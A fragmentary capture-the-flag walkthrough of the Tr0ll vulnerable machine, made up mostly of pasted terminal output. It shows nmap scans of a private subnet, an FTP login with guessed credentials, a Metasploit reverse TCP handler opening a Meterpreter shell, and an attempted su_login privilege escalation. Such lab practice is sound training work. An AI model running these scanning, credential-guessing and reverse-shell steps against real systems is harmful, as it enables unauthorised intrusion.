nmap -sP 192.168.2.0/24 Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-15 15:11 CST Nmap scan report for 192.168.2.1 Host is up (0.0029s latency).
Nmap scan report for 192.168.2.169 Host is up (0.10s latency).
端口扫描
1 2 3 4 5 6 7 8 9 10 11 12
nmap -p- 192.168.2.169 Starting Nmap 7.92 ( https://nmap.org ) Nmap scan report for 192.168.2.169 Host is up (0.021s latency). Not shown: 65532 closed tcp ports (conn-refused) PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 10.68 seconds
ftp 192.168.2.169 Connected to 192.168.2.169. 220 Welcome to Tr0ll FTP... Only noobs stay for a while... Name (192.168.2.169:kali): Tr0ll 331 Please specify the password. Password: Tr0ll 230 Login successful.
Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.2.172 yes The listen address (an interface may be specified) LPORT 1122 yes The listen port
Exploit target:
Id Name -- ---- 0 Wildcard Target
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.2.172:1122 [*] Sending stage (989032 bytes) to 192.168.2.169 [*] Meterpreter session 1 opened (192.168.2.172:1122 -> 192.168.2.169:58803 )
msf6 post(multi/recon/local_exploit_suggester) > use exploit/linux/local/su_login [*] Using configured payload linux/x86/meterpreter/reverse_tcp msf6 exploit(linux/local/su_login) > show options
Module options (exploit/linux/local/su_login):
Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD no Password to authenticate with . SESSION yes The session to run this modul e on USERNAME root yes Username to authenticate with .
Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
[*] Started reverse TCP handler on 192.168.2.172:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. [*] Uploading payload to target [*] Attempting to login with su [*] Exploit completed, but no session was created.